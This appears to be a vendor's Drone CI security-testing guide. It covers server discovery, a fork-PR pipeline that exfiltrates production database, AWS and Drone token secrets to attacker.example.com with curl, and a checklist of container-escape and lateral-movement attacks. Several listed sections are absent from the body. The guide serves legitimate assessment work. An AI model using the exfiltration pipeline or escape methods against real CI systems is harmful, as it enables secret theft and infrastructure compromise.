Drone CI Security Testing: Pipeline Injection, Secret Extraction, and Runner Privilege Escalation

Drone CI is a container-native CI/CD system where pipeline definitions live in .drone.yml files in each repository. Its Docker-based runner model creates specific security risks: when pull request builds are enabled, an attacker who can open a PR (including from a fork) can inject arbitrary pipeline steps that run within the build environment and have access to organization secrets if secret policies are not correctly scoped; the Drone Docker runner typically runs containers with access to the host Docker socket, allowing container escape to the host; Drone's server-to-runner communication uses a shared secret (DRONE_RPC_SECRET) that, if weak or leaked, allows an attacker to register a rogue runner and intercept build workloads; and the DRONE_TOKEN environment variable available inside builds allows direct API calls to the Drone server to read secrets and trigger builds across all repositories the token has access to. This guide covers systematic Drone CI security assessment.

Table of Contents

  1. Drone Server Discovery
  2. Fork PR Secret Extraction
  3. Docker Socket Privilege Escalation
  4. RPC Secret Brute Force
  5. DRONE_TOKEN Lateral Movement
  6. Drone CI Security Hardening

Drone Server Discovery

# Drone server default port: 80/443 (web), 9000 (gRPC runner port)
# Drone runner registration: DRONE_RPC_HOST:DRONE_RPC_PORT (default 9000)

# Check Drone server info
curl -s http://drone.example.com/api/info 2>/dev/null | python3 -m json.tool | head -5

# Check Drone version (unauthenticated)
curl -s http://drone.example.com/version 2>/dev/null | python3 -m json.tool | head -3

# List repos (requires auth token — test with default or leaked DRONE_TOKEN)
curl -s http://drone.example.com/api/user/repos \
  -H "Authorization: Bearer ${DRONE_TOKEN}" 2>/dev/null | \
  python3 -c "
import json,sys
repos = json.load(sys.stdin)
print(f'Repos: {len(repos)}')
for r in repos[:10]:
    print(f\"  {r.get('slug','?')} admin={r.get('admin',False)} trusted={r.get('trusted',False)}\")
" 2>/dev/null

Fork PR Secret Extraction

# Drone by default passes secrets to fork PR builds unless explicitly disabled
# An attacker forks the repo, adds .drone.yml with exfiltration step, opens PR

# Malicious .drone.yml to exfiltrate secrets via fork PR
cat > .drone.yml << 'EOF'
kind: pipeline
type: docker
name: default

steps:
- name: exfil
  image: alpine
  environment:
    PROD_DB_PASSWORD:
      from_secret: PROD_DB_PASSWORD
    AWS_SECRET_ACCESS_KEY:
      from_secret: AWS_SECRET_ACCESS_KEY
    DRONE_TOKEN:
      from_secret: DRONE_TOKEN
  commands:
  - apk add curl
  - |
    curl -s -X POST https://attacker.example.com/collect \
      -d "db=$PROD_DB_PASSWORD&aws=$AWS_SECRET_ACCESS_KEY&token=$DRONE_TOKEN"
EOF
# Open a PR from this fork — Drone runs the build with parent repo secrets

# Check if fork builds have secret access (via Drone API)
curl -s "http://drone.example.com/api/repos/org/repo/secrets" \
  -H "Authorization: Bearer ${DRONE_TOKEN}" 2>/dev/null | \
  python3 -c "
import json,sys
secrets = json.load(sys.stdin)
print(f'Secrets: {len(secrets)}')
for s in secrets:
    print(f\"  {s.get('name','?')} pull_request={s.get('pull_request',False)}\")
" 2>/dev/null

Drone CI Security Hardening

Drone CI Security Hardening Checklist:
Security TestMethodRisk
Fork PR builds expose parent repo secretsFork repo, add .drone.yml exfiltrating secrets via env vars — open PR to triggerCritical
Docker socket access in trusted runnersMount /var/run/docker.sock in pipeline step — run docker run --privileged to escapeCritical
Weak DRONE_RPC_SECRET allows rogue runnerBrute-force or guess RPC secret — register rogue runner and intercept buildsHigh
DRONE_TOKEN in build env for lateral movementEcho $DRONE_TOKEN in pipeline step — use token to access other repos' secrets via APIHigh
Host volume mount via trusted: true reposMount /etc/kubernetes/pki or /run/secrets/kubernetes.io — read cluster credentialsHigh
Drone server admin API accessibleAccess /api/users/admin — list all users and tokens without rate limitingMedium

Automate Drone CI Security Testing

Ironimo tests Drone CI deployments for fork pull request builds exposing parent repository secrets via injected pipeline steps, Docker socket access in trusted runners enabling container escape, weak DRONE_RPC_SECRET allowing rogue runner registration, DRONE_TOKEN in build environment enabling lateral movement across repositories, host path volume mounts in trusted pipelines exposing cluster credentials, and Drone server admin API accessible without authentication.

Start free scan